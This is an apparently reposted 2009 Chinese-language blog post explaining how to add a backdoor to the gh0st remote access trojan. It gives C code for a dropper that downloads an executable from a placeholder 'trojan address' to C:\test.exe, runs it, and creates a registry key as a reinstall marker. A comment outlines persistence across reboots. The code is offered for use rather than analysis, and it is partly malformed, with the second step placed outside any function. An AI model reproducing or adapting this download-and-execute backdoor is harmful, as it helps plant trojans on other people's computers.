2009年10月10日 星期六

gh0st加後門方法

程式代碼為C
#include<windows.h>
#include<urlmon.h> //這個可以不要
#include<process.h>   //這個可以不要
#include<Shellapi.h>   //這個是對ShellExecute的定義
#pragma comment (lib,"Urlmon.lib") //這個也可以不要,有DLL可以用

/*
step1. 下載程序
step2. 如果重開機 以上運行
*/

//----------step 1-------------
int main(){
    //下載到C:\test.exe
    URLDownloadToFile(NULL,"木馬地址","C:\test.exe",0,NULL);
    //執行test.exe
    ShellExecute(0,"open","c:\test.exe",NULL,NULL,SW_SHOW); 
    return 0;
}
//----------step 2-------------
HKEY hKey;
DWORD dw;
DWORD dwData = 0;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\tw67waa",0L,KEY_ALL_ACCESS,&hKey) != ERROR_SUCCESS)
//如果存在 就執行下面代碼  
{
    //RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\tttjgf",&hKey);
    RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\tw67waa",0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dw);
    //RegSetValueEx(hKey,  "hello", 0, REG_DWORD, (LPBYTE) &dwData,sizeof(DWORD));
    //file();
}
else{
//file();
}

註: 本文轉載自網路 非原創
轉載自 邪惡八進制信息安全團隊